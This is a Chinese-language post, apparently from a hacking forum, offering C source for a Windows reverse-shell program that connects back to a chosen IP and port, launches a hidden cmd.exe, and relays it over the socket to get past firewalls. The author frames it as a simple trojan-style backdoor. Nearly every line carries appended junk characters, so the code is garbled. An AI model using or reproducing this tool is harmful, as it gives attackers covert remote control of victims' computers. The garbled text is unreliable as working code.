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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 D IzH`|Y  
V&\[)D'c  
/* ============================== A#95&kJpy  
Rebound port in Windows NT {yB&xj[z  
By wind,2006/7 aM:nOt" S1  
===============================*/ $l|qk  z  
#include HLZ;8/|48m  
#include U~j ^I^  
0QOBL'{7)  
#pragma comment(lib,"wsock32.lib") W^] 3XJP  
.b6VQCS~9  
void OutputShell(); s#tZg  
SOCKET sClient; 0iwZT&O  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ^k#P5oV  
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void main(int argc,char **argv) T3pmVl  
{ h_T7% #0  
WSADATA stWsaData; %]8qAtV^3j  
int nRet; %+K<<iyR|  
SOCKADDR_IN stSaiClient,stSaiServer; ek}a}.3 {  
Wu_kx2h  
if(argc != 3) 9)gC6 IiW  
{ LG1r]2  
printf("Useage:\n\rRebound DestIP DestPort\n"); )Hk3A$6(  
return; Hr]h J c  
} nw<&3k(g}  
iCcB@GlA  
WSAStartup(MAKEWORD(2,2),&stWsaData); }XSfst5-H  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 8peDI7[|  
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stSaiClient.sin_family = AF_INET; V` 1/SQX  
stSaiClient.sin_port = htons(0); q11>f   
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); tGl;@V@Qj  
3 "Q=Vl"  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [>1OJY.S}T  
{ 2U:H545]]  
printf("Bind Socket Failed!\n"); p-/|mL  
return; lAJxr8 .  
} (3 #Cl 1]f  
4W)B'+ZK8  
stSaiServer.sin_family = AF_INET; ^n"OL*ipG  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Bxfc}vC.  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); %ve:hym*  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $[/&74#0HX  
{ 'Ub g0"F(  
printf("Connect Error!"); HsHB!mQV  
return; j.L-{6_s>~  
} Ffv`kn@  
OutputShell(); PUBWZ^63  
} -!N&OZ+R   
[5MJwRM^!;  
void OutputShell() P5#r,:zL  
{ F>-B 3x  
char szBuff[1024]; Q'YH>oGh^  
SECURITY_ATTRIBUTES stSecurityAttributes; '=G|Sq^aO  
OSVERSIONINFO stOsversionInfo; f/Hm{<BY  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; },>pDeX^P  
STARTUPINFO stStartupInfo; "gne_Ye.  
char *szShell; g)_e]&  
PROCESS_INFORMATION stProcessInformation; |*'cF-lp6v  
unsigned long lBytesRead; MF'$~gxo  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ghX|3lI\q  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Y<Xz wro0  
stSecurityAttributes.lpSecurityDescriptor = 0; r]l!WRn  
stSecurityAttributes.bInheritHandle = TRUE; W81E!RyP`  
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l#H#+*F  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ]) rrG/3  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); l-s!A(l  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); hDcEGU_  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vpld*TL*  
stStartupInfo.wShowWindow = SW_HIDE; "(3BvMA&!9  
stStartupInfo.hStdInput = hReadPipe; fD07VBS yl  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; bX*Hi#J~A  
vt;{9\Y  
GetVersionEx(&stOsversionInfo); w - Pk7I  
3&[>u;Bp  
switch(stOsversionInfo.dwPlatformId) DiEluA&w9  
{ '6xQT-sUih  
case 1: i 4%xfN  
szShell = "command.com"; dz *7gL;7G  
break; ]Qfn(u=o  
default: ,^x4sA[/  
szShell = "cmd.exe"; T:IW%?M  
break; N#Zhxu,g!  
} ^H2-RBE#  
z-LB^kc8oQ  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); HKqwE=NZ  
)YX 'N<[  
send(sClient,szMsg,77,0); q*7zx_ o  
while(1) p"FW&Q=PN  
{ }*ZHgf]~#  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); )~+e`q  
if(lBytesRead) rfgI$eu   
{ S6+y?,^  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); $P(v{W)  
send(sClient,szBuff,lBytesRead,0); Q`rF&)Q5  
} VGceD$<  
else |ZCn`9hvn  
{ i 2sN3it  
lBytesRead=recv(sClient,szBuff,1024,0); -Y*bSP)\  
if(lBytesRead<=0) break; \L(*]:EP  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); #DN0T' B  
} 9uer(}WKT  
} cu%C"  
H]$)Eg%6  
return; lNL6M%e$Q  
}
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